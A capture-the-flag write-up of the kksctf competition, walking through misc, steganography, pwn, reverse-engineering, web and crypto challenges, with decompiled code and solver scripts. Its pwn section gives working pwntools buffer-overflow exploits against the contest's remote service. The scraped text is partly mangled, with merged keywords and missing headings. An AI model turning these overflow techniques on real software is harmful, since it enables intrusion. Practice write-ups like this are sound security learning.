This was my really first ctf competition in ctftimes, with my team name called Spwpun, and got the rank 71/392, that makes me feel happy. I’ve solved 8 challs, though they seemed like simple.
Misc
ru!e5p@g3
Description: Haven’t you read our rules?
As the Decription said, we could find the flag in rules:
flag: kks{w3lcom3_to_0ur_ru!e5p@g3}
Xmas Tree
Description: Do you like to decorate the Christmas tree?
From the Description, and we could see a Xmas Tree in the right-down of the backgroud image. From the source code of this Xmas Tree, we could see there were several strange span elements, just like this:
So flag may be these elements, use Python to get the all instaces:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
defpermutation(s,i): coms = [] if i == len(s): print"kks{"+''.join(s)+"$$}"#kks{n3w_y34r_m@dn3$$} new_year_madness coms.append(s) else: for j inrange(i,len(s)): s[j],s[i] = s[i],s[j] permutation(s,i+1) s[j],s[i] = s[i],s[j] return coms
Description: We get some file. Can you find secret?
We were given a file named “stego50.jpg”, at first I thought it was about LSB, so I used “StegoSolve.jar” to test, but failed. Then I solved it through “010 Editor”, the flag can be found by seraching text “kks” in it. If you used Linux, there will be another simple command with “strings”: strings stego50.jpg | grep kks.
flag: kks{just_s1ml3_st3g0}
Pwn
Baby buffer overflow
As the title said, this is a simple buffer overflow chall. It is friendly to beginners just like me, we were given a file named “baby_bof”.
First check the file:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
(pwn) pwn@ubuntu:~/Documents/kksctf$ file baby_bof baby_bof: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 3.2.0, BuildID[sha1]=679ffb807feb7aef6982de068fe64bb6deb7fb0c, not stripped (pwn) pwn@ubuntu:~/Documents/kksctf$ checksec baby_bof [*] '/home/pwn/Documents/kksctf/baby_bof' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) (pwn) pwn@ubuntu:~/Documents/kksctf$ ./baby_bof We have prepared a buffer overflow for you Can you get use of it? Enter your name: hahaha? Hello, hahaha?! (pwn) pwn@ubuntu:~/Documents/kksctf$
So open it with IDA32 and press “F5”, we could see the main function’s Pseudocode:
setbuf(stdin, 0); setbuf(stdout, 0); setbuf(stderr, 0); puts("We have prepared a buffer overflow for you"); puts("Can you get use of it?"); printf("Enter your name: "); read_wrapper(&s); printf("Hello, %s!\n", &s); return0; }
The program will ask your name to input, in function read_wrapper, it will use gets function to set the s‘s value to our input:
gets(s); for ( i = 0; ; ++i ) { v1 = strlen(s); result = i; if ( v1 <= i ) break; if ( s[i] > '@' && s[i] <= 'Z' ) s[i] += 0x20; } return result; }
According to this, there is no length limitation for s. And s‘s address is “ebp-100h”, so we can input data like a*0x100 + b*0x4 + jmp_addr to overwrite the return address, and we also can see this in IDA’s Stack Window.
-00000100 ; D/A/* : change type (data/ascii/array) -00000100 ; N : rename -00000100 ; U : undefine -00000100 ; Use data definition commands to create local variables and function arguments. -00000100 ; Two special fields " r" and " s" represent return address and saved registers. -00000100 ; Frame size: 100; Saved regs: 4; Purge: 0 -00000100 ; -00000100 -00000100 s db ? -000000FF db ? ; undefined ...... -00000003 db ? ; undefined -00000002 db ? ; undefined -00000001 db ? ; undefined +00000000 s db 4 dup(?) +00000004 r db 4 dup(?) +00000008 argc dd ? +0000000C argv dd ? ; offset +00000010 envp dd ? ; offset +00000014 +00000014 ; end of stack variables
Another point is that we should find the jmp_addr, usually we should make it as the system("/bin/sh");, but in this chall, we can find a function named win():
stream = fopen("flag.txt", (constchar *)&unk_8048830);// 'r' if ( !stream ) returnputs("flag not found"); fgets(&s, 29, stream); if ( a1 != 0xCAFEBABE ) { puts("Almost there :)"); exit(0); } returnprintf("Here it comes: %s\n", &s); }
We could see this function will open current working directory’s file “flag.txt”, and check the argument “a1”, if “a1” equal to 0xCAFEBABE, then print the file contents, that’s flag.
We know that it should firstly push arguments to stack before normally calling a normal function, and the data we input will increase in stack, so the data we should construct is a*0x100 + b*0x4 + win_addr + call_before_next_ins_addr + p32(0xcafebabe), as the IDA shows, the win() function start address is 0x80485F6, so the last exploit is:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
from pwn import * # for kksctf-baby_bof context.log_level = "debug" sh = remote("tasks.open.kksctf.ru", 10002) #sh = process("./baby_bof") #gdb.attach(sh)
win_addr = 0x80485f6
payload = "a"*0x100 + "b"*0x04 + p32(win_addr) + p32(0x804850c) + p32(0xCAFEBABE) sh.recvuntil("Enter your name: ") sh.sendline(payload) # pause() # to Debug sh.interactive() #the last line should have, to keep seeing flag.
int __cdecl main(int argc, constchar **argv, constchar **envp) { char s; // [esp+8h] [ebp-114h] int v5; // [esp+10Ch] [ebp-10h] unsignedint v6; // [esp+110h] [ebp-Ch] int *v7; // [esp+114h] [ebp-8h]
v7 = &argc; v6 = __readgsdword(0x14u); setbuf(stdin, 0); setbuf(stdout, 0); setbuf(stderr, 0); v5 = 0xDEADBEEF; puts("Hello! I am x86 vulnerable programm and have and inner buffer size of 256 bites"); puts("Can you lead me to segmentation fault please?"); fgets(&s, 0x108, stdin); if ( v5 == 0xDEADBEEF ) puts("Hit me harder!"); else print_flag(); return0; }
Clearly, we can see if the v5 variable is not equal to 0xDEADBEEF, then it will go to print_flag func to print flag. But the code above set v5 to 0xDEADBEEF, and we also could see that func truely print flag:
v3 = __readgsdword(0x14u); printf("Thank you! you can have your flag: "); stream = fopen("flag.txt", "r"); if ( stream ) { fgets(&s, 29, stream); puts(&s); fclose(stream); } else { puts("flag not found"); } return __readgsdword(0x14u) ^ v3; }
So our target is to input something to overflow the v5 variable. According to main func, we know that s variable is in [ebp-114h], and v5 variable is in [ebp-10h], so their distance is 0x104. Main func use fgets func to get our input, and it has length limitation(0x108), therefore our payload will be 'a'*0x104 + 'aa', then the v5 variable will be 0xCAFE6161. So the last exploit is:
1 2 3 4 5 6 7 8 9 10 11
from pwn import * # for kksctf-insane_pwn context.log_level = "debug" sh = remote("tasks.open.kksctf.ru", 10003) #sh = process("./insane_pwn") #gdb.attach(sh)
payload = "a"*0x104 + "aa" sh.recvuntil("Can you lead me to segmentation fault please?") sh.sendline(payload) sh.interactive()
v7 = __readfsqword(0x28u); printf("Please, enter password for decryption: ", argv, envp); __isoc99_scanf("%s", s); if ( strlen(s) == 8 ) { puts("Decrypting, please wait..."); for ( i = 0; i <= 17; ++i ) { v5[i] = crypto_data[i] ^ s[i % 8]; printf( "0x%02x ^ 0x%02x = 0x%02x %c\n", crypto_data[i], (unsigned __int8)s[i % 8], (unsigned __int8)v5[i], (unsigned __int8)v5[i]); sleep(1u); } printf("Your flag is: %s\n", v5); } else { puts("Password don't match."); } return0; }
Easy to understand, it’s xor decrypt. But the password needs us to brute, the description said the flag is embeed with brackets, so we can guess the last character is “}”, because the key length is 8, so we can expand and then know the flag is like “*l*******b*******}“, we can guess the first 5 characters are “flag{“, so the flag is like “flag{***_brut***e}“, but then we couldn’t get more, and now we know the key is “deadb***”. At last we need to read the description again, it said:
Buffalo dead while reversing this task.
there is a brainfuck idea: dead buffalo, so the key is “deadbeef”, and that’s an interesting value.
So the flag:
Xmas Tree 2
It gives us the source code, and it get a value from argv[1], that’s the main function’s first parameter. And then check the value with 5 if conditions, if all are right, then print the flag through decoding.
1 2 3 4 5 6 7 8 9
intmain(int argc, char** argv){ char data_1[20] = "_a""cd""eh""ik""lm""no""pr""su""wy""\0"; if (argc < 2) return1; int key = atoi (argv[1]); if (((unsignedchar*)&key)[0] == 0xAF) { if (((short*)&key)[1] == 0x3174) { if (((key >> 22) & 0xFF) == 0xC5) { if (*(((char*)((&key) + 2)) - 7) == 0x19) { if (((((short*)(((char*)(&key)) + 13) - 5)[0] >> 0) & 0xff) == 0x31) {
It’s easy to get the value from these 5 if conditions, the first byte is 0xAF, and the last 2 bytes’ value is 0x3174, the second byte is 0x19, and it’s little endian code, so the value is 0x317419AF, this value moves to right in 22 bits, also satisfy the third codition 0xC5, the last condition mean the last byte is 0x31, I seems like that:
And finally, 0x317419AF convert to decimal is 829692335, the flag is:
1 2 3 4 5 6 7 8 9
$ gcc task_tree.c
name@Desktop /cygdrive/e/kksctf/reverse/Xmas Tree 2 $ ./a.exe 829692335 kks{c_is_simple_only_when_you_are_drunk}
name@Desktop /cygdrive/e/kksctf/reverse/Xmas Tree 2 $
flag: kks{c_is_simple_only_when_you_are_drunk}
Web
Postman
Find the directory /postbox in robots.txt, then change the method from GET to POST, then you can get the flag.
flag: kks{thanks_f0r_m@1l}
Crypto
Every day I’m shuffling
I didn’t solved this chall because I used python2 to reverse it, then I can’t find the seed. You should use python3 and linux to reverse it, because some byte code way’s diffenert. The last solve.py is:
#!/usr/bin python3 # coding: utf-8 # For kksctf-shufflout.py
from random import * import sys
defShuffle(p, data): buf = list(data) for i inrange(len(data)): buf[i] = data[p[i]] return''.join(buf)
defreverse_index(p): ans = [-1for i inrange(len(p))] for i inrange(len(p)): ans[p[i]] = i return ans
defmain(): file_name = "message_from_above" for i inrange(1, 19): seed(i) file_name_list = list(file_name) shuffle(file_name_list) shuffle_name = ''.join(file_name_list) if shuffle_name == "fsegovs_meaoerbma_": print ("seed:", i) break # The above show the seed is 3 data = open('fsegovs_meaoerbma_.txt', 'r').read() p = list(range(len(data))) # get the same permuation shuffle(p) p = reverse_index(p) data = Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,data)))))))))))))))))))))))))))))))))))))))) out = open('origin.txt', 'w') out.write(''.join(data)) out.close()
$ python3.7 shufllout.py seed: 3 $ cat origin.txt Once upon a midnight dreary, while I pondered, weak and weary, Over many a quaint and curious volume of forgotten lore— While I nodded, nearly napping, suddenly there came a tapping, As of some one gently rapping, rapping at my chamber door. “’Tis some visitor,” I muttered, “tapping at my chamber door— Only this and nothing more.”
Ah, distinctly I remember it was in the bleak December; And each separate dying ember wrought its ghost upon the floor. Eagerly I wished the morrow;—vainly I had sought to borrow From my books surcease of sorrow—sorrow for the lost Lenore— For the rare and radiant maiden whom the angels name Lenore— Nameless here for evermore.
And the silken, sad, uncertain rustling of each purple curtain Thrilled me—filled me with fantastic terrors never felt before; So that now, to still the beating of my heart, I stood repeating “’Tis some visitor entreating entrance at my chamber door— Some late visitor entreating entrance at my chamber door;— This it is and nothing more.”
Presently my soul grew stronger; hesitating then no longer, “Sir,” said I, “or Madam, truly your forgiveness I implore; But the fact is I was napping, and so gently you came rapping, And so faintly you came tapping, tapping at my chamber door, That I scarce was sure I heard you”—here I opened wide the door;— Darkness there and nothing more.
Deep into that darkness peering, long I stood there wondering, fearing, Doubting, dreaming dreams no mortal ever dared to dream before; But the silence was unbroken, and the stillness gave no token, And the only word there spoken was the whispered word, “Lenore?” This I whispered, and an echo murmured back the word, “Lenore!”— Merely this and nothing more.
Back into the chamber turning, all my soul within me burning, Soon again I heard a tapping somewhat louder than before. “Surely,” said I, “surely that is something at my window lattice; Let me see, then, what thereat is, and this mystery explore— Let my heart be still a moment and this mystery explore;— ’Tis the wind and nothing more!”
Open here I flung the shutter, when, with many a flirt and flutter, In there stepped a stately Raven of the saintly days of yore; Not the least obeisance made he; not a minute stopped or stayed he; But, with mien of lord or lady, perched above my chamber door— Perched upon a bust of Pallas just above my chamber door— Perched, and sat, and nothing more.
Then this ebony bird beguiling my sad fancy into smiling, By the grave and stern decorum of the countenance it wore, “Though thy crest be shorn and shaven, thou,” I said, “art sure no craven, Ghastly grim and ancient Raven wandering from the Nightly shore— Tell me what thy lordly name is on the Night’s Plutonian shore!” Quoth the Raven “kks{5huffl3_5huffl3_5huffl3}”